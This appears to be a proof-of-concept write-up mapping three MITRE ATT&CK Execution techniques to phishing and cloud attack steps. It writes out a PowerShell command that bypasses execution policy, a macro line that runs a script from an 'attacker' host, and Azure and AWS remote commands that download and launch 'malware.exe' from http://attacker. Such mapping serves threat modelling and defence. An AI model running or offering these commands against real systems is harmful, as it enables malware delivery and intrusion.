

Proof Of Concept (POC) of Threat Intelligence

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 **Selected Tactic: Execution (TA0002)**

Goal: Run malicious code on a target system

Techniques Used

T1059 – Command and Scripting Interpreter

T1204.002 – User Execution: Malicious File

T1651 – Cloud Administration Command

Procedures

Technique 1: T1059 – Command and Scripting Interpreter

1. Host a PowerShell script (payload.ps1) on an attacker-controlled server.

2. Send the link via phishing email to the victim.

3. Victim runs the script using PowerShell with bypass flag:

```
powershell.exe -NoProfile -ExecutionPolicy Bypass -File payload.ps1
```

Outcome: Malware is downloaded and executed on the victim's machine.

Technique 2: T1204.002 – User Execution: Malicious File

4. Create a macro-enabled Word document that downloads and runs the PowerShell script.

5. Send a phishing email urging the user to open the document and enable macros.

6. When macros are enabled, they silently execute:

```
Shell "powershell.exe -ExecutionPolicy Bypass -File \\attacker\payload.ps1"
```

Outcome: Script runs without the user realizing, executing the malware.

Technique 3: T1651 – Cloud Administration Command

7. With stolen cloud admin credentials, log into the Azure or AWS cloud console.

8. Use cloud tools to execute PowerShell remotely:

Azure:

```
az vm run-command invoke -g ResourceGroup -n VictimVM --command-id  
RunPowerShellScript --scripts "Invoke-WebRequest http://attacker/malware.exe  
-OutFile C:\\temp\\malware.exe; Start-Process C:\\temp\\malware.exe"
```

AWS:

```
aws ssm send-command --instance-ids i-0abcdef --document-name  
"AWS-RunPowerShellScript" --parameters 'commands=["Invoke-WebRequest  
http://attacker/malware.exe -OutFile C:\\temp\\malware.exe", "Start-Process  
C:\\temp\\malware.exe"]'
```

Outcome: Malware runs on the cloud VM without interacting with the VM's OS directly.

Summary Table

Step	Technique ID	Description
1–3	T1059	PowerShell script execution
4–6	T1204.002	Malicious document execution via macro
7–8	T1651	Remote malware execution through cloud console

Why This PoC Works

Blends human targeting (social engineering) with cloud exploitation.

Demonstrates both endpoint and cloud attack paths.

Uses real-world techniques like PowerShell abuse, phishing, and cloud automation tools.

Reflects the attacker's ability to execute code across platforms.